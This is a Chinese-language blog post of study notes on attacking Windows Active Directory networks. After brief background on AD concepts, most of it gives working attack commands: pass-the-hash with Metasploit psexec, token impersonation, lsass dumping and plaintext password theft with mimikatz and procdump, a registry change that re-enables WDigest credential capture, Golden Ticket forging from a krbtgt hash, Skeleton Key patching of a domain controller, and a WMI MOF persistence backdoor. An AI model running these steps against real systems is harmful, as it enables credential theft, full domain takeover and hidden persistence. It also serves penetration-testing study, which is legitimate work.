内网study

AD域信息收集

AD(活动目录)域是指windows服务器操作系统中的目录服务,它被包含在大多数windows server操作系统中,负责集中式域管理员身份验证。

AD架构的常用对象包括如下四种

组织单位(OU):它是可以指派组策略设置或委派管理权限的最小作用单位。
域(domain):它是网络对象用户,组,计算机等的分组,域中的所有对象都存储在AD中,AD由一个或多个域构成,域是Windows操作系统中的一个安全边界,安全策略和访问控制都不能跨越不同的域,每个域管理员有权限设置所属域的策略。
域树(domain tree):它由多个域构成,这些域共享公共的架构,配置和全局编录能力,形成一个连续的名称空间,域之间的通信通过信任关系进行(若域间没有信任关系,则域间无法传递信息),域树中的任何两个域之间都是双向可传递的信任关系。
林(forest):林由一个或多个域树组成,同一林中的域可以共享同类的架构,站点,复制及全局编录能力。信任关系具有传递性,例如林A与林B有信任关系,林B和林C有信任关系,则通过传递性,林A和林C也具有信任关系。

AD域主要包括以下功能

服务器及客户端计算机管理:管理服务器及客户端计算机账户,将所有服务器及客户端计算机加入域管理并实施组策略
用户服务:管理用户域账户,用户信息,企业通讯录(与电子邮件系统集成)用户组管理,用户身份认证及用户授权管理等,按需实施组管理策略。
资源管理:管理打印机,文件共享服务等网络资源
桌面配置:系统管理员可以集中配置各种桌面配置策略,
应用系统支撑:支持财务,人事,电子邮件,企业信息门户,办公自动化,补丁管理及防病毒系统等各种应用系统

判断当前计算机是否在域中的命令
net config workstation
在这里插入图片描述
查询本地管理员组用户列表的命令如下
net localgroup administrators
在这里插入图片描述
查询域中工作组列表:net WORKGROUP /domain
查询指定工作组的信息:net WORKGROUP “Domain 名称” /domain
查询域用户信息的命令:net user

通过Hash值进行攻击,
在windows操作系统中,系统或服务器需要身份验证时,会使用到NTLM协议。
在这里插入图片描述
一次完整的网络验证并不需要明文密码,只需要hash值。如果攻击者得到了用户密码的Hash值,呢么就可以直接对远程系统进行身份验证。

如果咱么在注册表获取到windows hash值,呢么咱们可以通过MSF的exploit/windows/smb/psexec模块进行攻击

use exploit/windows/smb/psexec
set LHOST IP
SET LPORT 443
SET RHOST IP
SET SMBpass   
(这里输入LM:NTLM的值)
set smbuser administrator    (这里设置获取的hash值对应的用户,我这里是管理员的)                      
run (最后进行攻击)

令牌劫持
令牌(token)是指系统的临时密钥,它允许在不提供密码或其他凭证的前提下访问网络和系统资源,
windows有以下两种类型的令牌
授权令牌:用于交互会话登录(例如本地用户直接登录,远程桌面登录)
模拟令牌:用于非交互登录

(1)使用Metasploit中的PsExec工具指定Administrator账户远程登录目标主机,配置好PsExec登录windows 2008计算机
(2)执行令牌劫持
1、执行use incognito命令,加载令牌劫持模块incognito
2、执行list_tokens -u命令,列出可用令牌
3、选择目标用户的令牌,用其身份执行命令
(3)输入impersonate_token TEST\sanr 命令加载使用sanr用户的令牌,随后进行shell命令获得在系统上交互执行命令的权限。

NTDS.dit

NTDS.dit文件是AD的数据库,等同于本地计算机中的sam文件,他的存放位置在%SystemRoot%\ntds\,此文件包含的不只是用户名和HASH,还有OU,Group等。

在渗透测试过程中,只要控制了域控制器,就可以进行NTDS.dit文件备份,通过NTDS.dit文件可以获取NT Hash及LM Hash,随后通过破解HASH来获取用户的明文密码

提取HASH
QuarksPwDump
这是quarklab出品的一款一区用户凭据的开源工具,

https://github.com/quarkslab/quarkspwdump获取,该工具支持windows XP/2003/vista/7/2008等版本操作系统,他可以提取windows平台下多种类型的用户凭据,包括本地账户,域账户,缓存域账户和Bitlocker等
这个工具不适用linux系统,在linux系统中,用libesedb-tools中的esedbexport工具来完成。

HASH破解
得到HASH后,需要破解出密文,John the Ripper是一款免费,开源的密码破解工具,它可在密文已知的情况下尝试破解出明文,支持目前大多数的加密算法,如des,md4和md5等

明文凭据

通过破解windows hash值或键盘记录程序来获取明文密码所需要的时间很长,我们可以使用windows Credentials Editor (WCE) 和mimitakz来获取明文密码,这两个工具都需要管理员权限。

WCE是一款被专业安全人员广泛使用的安全工具,在渗透测试中用来评估windows网络的安全性,可列出登录回话和添加,更改,删除关联的凭据。工具支持windows XP/2003/Vista/7/2008和windows8操作系统
https://www.ampliasecurity.com/research.html 工具地址

只要拥有管理员权限,使用-w参数就可以获取到内存的用户明文密码,不需要破解hash值在这里插入图片描述

mimitakz
这个工具被WCE更加强大,能够从windows认证(LSASS)进程中获取windows处于active状态时的账号明文密码
软件下载地址:https://github.com/gentilkiwi/mimikatz
我们通过两个命令获取windows hash值和明文密码,第一个命令 privilege::debug。用于提升权限,第二个命令,sekurlsa::logonpasswords,用于获取windows hash值和明文密码
sekurlsa模块 获取密码信息
Mimikatz提取用户凭证功能,其主要集中在sekurlsa模块,该模块又包含很多子模块,如msv,wdigest,kerberos等。如上面演示的抓取明文密码的sekurlsa::logonpasswords模块。

使用这些子模块可以提取相应的用户凭证,如

sekurlsa::msv提取ntlm hash凭证(对应上面截图的msv部分);

sekurlsa::wdigest提取用户密码明文(对应上面截图的wdigest部分);

sekurlsa::kerberos提取域账户凭证。

procdump + mimikatz 加载dmp文件,并导出其中的明文密码
管理员运行工具,导出为lsass.dump文件:

procdump64.exe -accepteula -ma lsass.exe lsass.dmp
将lsass.dmp放在mimikatz同一目录,读取密码文件:

sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full

如果已经安装了KB2871997补丁或windows8.1版本以后的操作系统,使用mimitakz和WCE已经获取不到明文密码,如果想要抓取密码,需要将注册表HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest下的UseLogonCredential设置为1,类型设置为DWORD 32,此时需要设置的命令如下
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
/vUseLogonCredential /t REG_DWORD /d 1
当用户再次登录时,两种工具就能记录到明文密码了

利用域控制器
Golden Ticket (黄金票据)是指利用krbtgt用户和Hash伪造票据授予票据(TGT),冒充任意用户身份无限制地访问整个域中的机器且还可以提升为域管理员,mimtakz把黄金票据的这种特性成为“万能票据”
krbtgt账号用来创建票据授予服务加密的密钥,该账号在创建域控制器时由系统自动创建,并且其密码随机分配

要想伪造用户身份,满足的四个条件
域SID。
域名称。
krbtgt账户的NTLM Hash
模拟的目标用户名(如域管理)

(1)查找域管理员,相关命令
net group “domain admins” /domain
(2)获取域SID,直接执行whoami /user就可以,要删除SID的-的最后几位,还有就是pstools,使用PsGetsid.exe获取sid

(3)获取krbtgt账户的NTLM Hash需要拥有访问域控制器的权限,使用交互方式或远程方式登录域控制器后,使用mimitakz来提取krbtgt账户的NTLM Hash
privilege::debug
成功之后进入mimitakz,lsadump::lsa /inject /name:krbtgt

在这里插入图片描述
(4)伪造Golden Ticker进行pass-the-ticket攻击,伪造项有以下三个
Domain: pentestlab.com
SID:S-1-5-21-1334711466-443186531-4248587964
Hash:cc6aff59ff667b75b6294349f53ab415

生成需要模拟的用户的票据,以模拟域管理员admin用户为例,执行命令
mimikatz# kerberos::gloden /user:admin /domain: pentestlab.com
/sid::S-1-5-21-1334711466-443186531-4248587964
/krbtgt:cc6aff59ff667b75b6294349f53ab415 /admin:admin.tck /ppt
(5)测试获得的管理权限,
dir\dc.pentestlab.com\ c$
PsExec.exe \dc.pentestlab.com\ cmd.exe

Skeleton key

skeleton key被称为万能钥匙,是一种域控制器权限维持工具,他无需破解域用户的任何密码,就可以让所有域用户使用同一个密码在域中进行身份认证,进行此攻击时,需要运行在64位操作系统的域控制器中,并且拥有域管理员权限。
在域控制器上执行mimitakz# misc::skeleton命令,这回将kerberos加密降级倒RC4_HMAC_MD5,并以内存更新的方式将主密码修补到lsass.exe进程,让所有域用户使用同一个密码登录域中的主机,此时原有域用户密码正常工作,不影响任何使用

(1)在域控制器上安装Skeleton Key
相关命令如下:
privilege::debug
misc::skeleton
(2)域内主机使用Skeleton key登录,此时不需要知道域管理员admin密码,使用主密码mimitakz就可以建立磁盘映射,查看域控制器中的C盘的文件
net use \dc.pentest.lab.com ,i,itakz /user:admin
dir\dc.pentest.lab.com\c$

WMI

WMI是在每个windows操作系统中都会内置的一个管理框架,它以本地和远程方式提供了许多管理功能,如查询系统信息,启动和停止进程,以及设置条件触发器等,我们可以使用各种工具(如windows的WMI命令行工具wmic.exe)或者脚本编程语言(如powershell)提供的API接口哦来访问WMI,windows操作系统的WMI数据存储在WMI公共信息模型仓库中,该仓库由System32\whem\Repository文件夹中的多个文件组成

WMI类是WMI的主要结构,具有操作权限的用户还可以自定义类或扩展许多默认类的功能,在满足特定条件时,我们可以使用WMI永久事件订阅机制来触发特定操作,攻击者经常利用该功能,让系统启动时自动执行后门程序,以达成进行权限维持的目标

WMI的事件订阅包含以下3个核心WMI类

Consumer类:用来指定要执行的具体操作,包括执行命令,运行脚本,添加日志条目及发送邮件等
Filter类:用来定义触发Consumer的具体条件,包括系统启动,特定程序执行,特定时间间隔及其他条件。
FilterToConsumerBilnding类:用来将Consumer与Filter关联在一起,创建一个WMI永久事件订阅时,需要系统的管理员权限。
通过这种方法,WMI攻击者可以在操作系统中安装一个持久性后门,并且除了在WMI仓库中留下的文件外,不会再系统磁盘上留下其他任何文件。

下面进行测试,打开notepad来触发后门。代码

#!vb
#PRAGMA NAMESPACE (*\\\\.\\root\\subscription")
instance of CommandLineEventConsumer as $Cons
{
     Name = "Powershell Helper";
     RunInteractively=false;
     CommandLineTemplate="cmd /C C:\Users\Desktop\sanr.exe";
};

instance of _EventFilter as $Filt
{
     Name = "EventFilter";
     EventNamespace = "Root\\Cimv2";
     Query ="SELECT * FROM _InstanceCreationEvent Within 5"
                  "Where TargetInstance Isa \"Win32_Process" "
                  "And Targetinstance.Name = \"notepad.exe" " ;
       QueryLanguage = "QWL";
};

instance of _FilterToConsumerBinding {
        Filter = $Filt;
        Consumer = $Cons;
};

以上内容保存位test.mof,并将其放到%SYSTEMROOT%/WBEM/MOF目录下
执行MOF文件后,就可以查看我们添加的各类WMI事件,具体操作如下
(1)列出Filter事件,命令
Get-WMIObject -Namespace root\Subscription -Class _EventFilter
(2)查看consumers事件,相关命令如下
Get-WMIObject -Namespace root\subscription -Class _EventConsumer
(3)查看Bindings事件,相关命令如下
Get_WMIObject -Namespace root\Subcription -Class _FilterToConsumerBinding
(4)触发后门,当被攻击者打开,notepad时,系统就会自动执行CMD命令,向C盘的sanr.txt文本文件中写入PegasusTeam字符串

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值